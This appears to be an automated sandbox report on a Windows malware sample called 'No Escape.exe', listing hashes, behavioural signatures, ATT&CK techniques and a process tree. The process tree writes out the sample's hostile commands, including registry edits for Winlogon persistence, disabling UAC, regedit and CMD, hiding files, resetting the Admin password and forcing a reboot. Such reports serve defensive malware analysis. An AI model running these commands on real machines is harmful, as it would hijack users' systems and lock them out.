Analysis
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max time kernel
6s -
max time network
7s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
26-04-2024 16:49
Static task
static1
Behavioral task
behavioral1
Sample
No Escape.exe
Resource
win11-20240426-en
Errors
General
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Target
No Escape.exe
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Size
771KB
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MD5
2782877418b44509fd306fd9afe43e39
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SHA1
b0c18bdf782ca9c4fa41074f05458ce8e0f3961b
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SHA256
56d612e014504c96bb92429c31eb93f40938015d422b35765912ac4e6bd3755b
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SHA512
8826881b3ab406ee4c1fabd4848161f8524aeaeb7c4397384d36840f947ef95c8560850b2409fbf761ff225cdc8ac6eb875b705476fe9574b23c7a5478505a86
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SSDEEP
24576:OeTrmlZGPL7NV9+VitFsQUxY8BGOdQSqZ:hT6KDrmIFsBJBG4XqZ
Malware Config
Signatures
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Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\launch.exe" reg.exe -
Processes:
reg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe -
Disables RegEdit via registry modification 1 IoCs
Processes:
reg.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" reg.exe -
Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
Processes:
attrib.exeattrib.exepid process 3156 attrib.exe 4936 attrib.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Control Panel\Desktop\wallpaper = "C:\\hello.jpg" reg.exe -
Drops file in Program Files directory 12 IoCs
Processes:
No Escape.exedescription ioc process File created C:\Program Files (x86)\date.txt No Escape.exe File created C:\Program Files (x86)\erode.exe No Escape.exe File created C:\Program Files (x86)\hello.bat No Escape.exe File created C:\Program Files (x86)\hello.reg No Escape.exe File created C:\Program Files (x86)\launch.exe No Escape.exe File created C:\Program Files (x86)\mover.exe No Escape.exe File created C:\Program Files (x86)\msg.exe No Escape.exe File created C:\Program Files (x86)\hello.jpg No Escape.exe File created C:\Program Files (x86)\mypc.exe No Escape.exe File created C:\Program Files (x86)\shaking.exe No Escape.exe File created C:\Program Files (x86)\ No Escape.exe File opened for modification C:\Program Files (x86)\ No Escape.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies data under HKEY_USERS 15 IoCs
Processes:
LogonUI.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "183" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe -
Modifies registry key 1 TTPs 1 IoCs
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Runs .reg file with regedit 1 IoCs
Processes:
regedit.exepid process 3320 regedit.exe -
Runs net.exe
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Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
shutdown.exedescription pid process Token: SeShutdownPrivilege 2612 shutdown.exe Token: SeRemoteShutdownPrivilege 2612 shutdown.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
LogonUI.exepid process 4504 LogonUI.exe -
Suspicious use of WriteProcessMemory 30 IoCs
Processes:
No Escape.exewscript.execmd.exenet.exedescription pid process target process PID 1860 wrote to memory of 5012 1860 No Escape.exe wscript.exe PID 1860 wrote to memory of 5012 1860 No Escape.exe wscript.exe PID 5012 wrote to memory of 1648 5012 wscript.exe cmd.exe PID 5012 wrote to memory of 1648 5012 wscript.exe cmd.exe PID 1648 wrote to memory of 3156 1648 cmd.exe attrib.exe PID 1648 wrote to memory of 3156 1648 cmd.exe attrib.exe PID 1648 wrote to memory of 4936 1648 cmd.exe attrib.exe PID 1648 wrote to memory of 4936 1648 cmd.exe attrib.exe PID 1648 wrote to memory of 3320 1648 cmd.exe regedit.exe PID 1648 wrote to memory of 3320 1648 cmd.exe regedit.exe PID 1648 wrote to memory of 4816 1648 cmd.exe reg.exe PID 1648 wrote to memory of 4816 1648 cmd.exe reg.exe PID 1648 wrote to memory of 2032 1648 cmd.exe reg.exe PID 1648 wrote to memory of 2032 1648 cmd.exe reg.exe PID 1648 wrote to memory of 976 1648 cmd.exe reg.exe PID 1648 wrote to memory of 976 1648 cmd.exe reg.exe PID 1648 wrote to memory of 5020 1648 cmd.exe reg.exe PID 1648 wrote to memory of 5020 1648 cmd.exe reg.exe PID 1648 wrote to memory of 3412 1648 cmd.exe reg.exe PID 1648 wrote to memory of 3412 1648 cmd.exe reg.exe PID 1648 wrote to memory of 3748 1648 cmd.exe reg.exe PID 1648 wrote to memory of 3748 1648 cmd.exe reg.exe PID 1648 wrote to memory of 2928 1648 cmd.exe reg.exe PID 1648 wrote to memory of 2928 1648 cmd.exe reg.exe PID 1648 wrote to memory of 664 1648 cmd.exe net.exe PID 1648 wrote to memory of 664 1648 cmd.exe net.exe PID 664 wrote to memory of 2512 664 net.exe net1.exe PID 664 wrote to memory of 2512 664 net.exe net1.exe PID 1648 wrote to memory of 2612 1648 cmd.exe shutdown.exe PID 1648 wrote to memory of 2612 1648 cmd.exe shutdown.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 4936 attrib.exe 3156 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\No Escape.exe"C:\Users\Admin\AppData\Local\Temp\No Escape.exe"1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Windows\system32\wscript.exe"C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\50EF.tmp\50F0.tmp\50F1.vbs //Nologo2⤵
- Suspicious use of WriteProcessMemory
PID:5012 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\hello.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\system32\attrib.exeattrib +s +h C:\msg.exe4⤵
- Sets file to hidden
- Views/modifies file attributes
PID:3156 -
C:\Windows\system32\attrib.exeattrib +s +h C:\launch.exe4⤵
- Sets file to hidden
- Views/modifies file attributes
PID:4936 -
C:\Windows\regedit.exeregedit /s hello.reg4⤵
- Runs .reg file with regedit
PID:3320 -
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 14⤵PID:4816
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\launch.exe /f4⤵
- Modifies WinLogon for persistence
PID:2032 -
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\hello.jpg /f4⤵
- Sets desktop wallpaper using registry
PID:976 -
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 14⤵PID:5020
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C:\Windows\system32\reg.exereg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- UAC bypass
PID:3412 -
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 24⤵PID:3748
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C:\Windows\system32\reg.exeREG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
- Disables RegEdit via registry modification
- Modifies registry key
PID:2928 -
C:\Windows\system32\net.exenet user Admin death4⤵
- Suspicious use of WriteProcessMemory
PID:664 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user Admin death5⤵PID:2512
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C:\Windows\system32\shutdown.exeshutdown /t 0 /r4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2612
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3a18855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4504
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Replay Monitor
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Downloads
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Filesize
120B
MD5255a8e245b6ad378558b90cbe3dbc3d0
SHA16eb73f9f2034c113a2a6b1aab9a440a21928cfc2
SHA256d3195bde888f9b8a71f2eb840222f1586b652d0ede9f39841a180ead03633ca9
SHA51267e03d7bffa0dec32535b6da46d5b7f38d94a7c9a231aa2fa625b81485d41c1ecac95b08fe5b7a605fcfe1c7e37c55ee716c9045df90ea6e030b86e52ec09edf
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Filesize
1KB
MD5b86fddd2b764f079615be5d4dc3e158d
SHA12510479054db1fe52cc2dcd3c7033d91204cb367
SHA2562b2114784d15b0b0d5475256851b4d0d4da7181198c2a93a304ecedb98eaf091
SHA512915363bc9f6e665358c8d25f5f5f51d64c53cb755be999013217162b126705ce641ea809047bc84511db7e3e383b848ec3932924baa8926d51a51d0037a5ca63
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Filesize
110KB
MD5057ea45c364eb2994808a47b118556a2
SHA11d48c9c15ea5548af1475b5a369a4f7b8db42858
SHA2566e1115188aa00fb5ff031899100bacb0d34819707e069bca3eb53935ebb39836
SHA512582c7ecf2d0c33c8706ff3f39aa926780aa8f0dc0ff5d563905a5100254b81b89def22206abee0871ab339a3d463de9e6ec1782d92198e8f386f173654b6e760
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Filesize
3KB
MD581427e9d5d10657b9edffd22e7b405bb
SHA1f27ab62f77f827dbb32c66a35ac48006c47f4374
SHA256bb21001c1c468e6e372d836952c3efb7fbdc98e9a20a1bfdcc4beb1b7a1e7f83
SHA512b0ee65bcef13be7c17db6e06b96cd44774fcebe6f4a411b0073493ff53f795e3b7c49e921c3bd2e41256638bc161f5218d1c51b589c3e10164f8f2c0d1db1592
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Filesize
92KB
MD5b4acc41d0e55b299ffeec11a8a20cf08
SHA1bbee20882bdd9dcd24b54b6af6c48cf5efc8c6fa
SHA25634bc0d5b6029a74b9cda56b72434ec1b55b6742ff5ef832d36027a987a63cd42
SHA512d4fa9900d703ea12d508929718433f97581a23b63458e5070ff7749871a7f60889db45098ec2972687b864ba97ab4fc307e8c80c4450dee79c0a5738818d2794
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Filesize
9KB
MD5331a0667b11e02330357565427dc1175
SHA1d84c1ae0bf2c8ca1f433f0086ca86e07f61204c2
SHA256fc7174e44a1d34040c3bc05ce24e648742a38a3accce22e8300d7059e4d12431
SHA5121c47f0438dce58d473d93c10f233650df3e86d7e762a08b3a933da37683e76a079d275db4a1b4028d903f7e43f487173ba8bb25c4cff6f3e1161d0a5b2b18cec
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Filesize
588B
MD567706bca9ceaba11530e05d351487003
SHA13a5ed77f81b14093a5f18c4d46895bc7ea770fee
SHA256190a0d994512ed000cf74bd40fb0502988c2ac48855b23a73fd905c0305fc30f
SHA512902ac91678d85801a779acbc212c75beba72f8da996b0ed1b148a326c2dd635b88210f9a503fbbffa5271335483eae972e6a00acbc01ec013cf355c080444598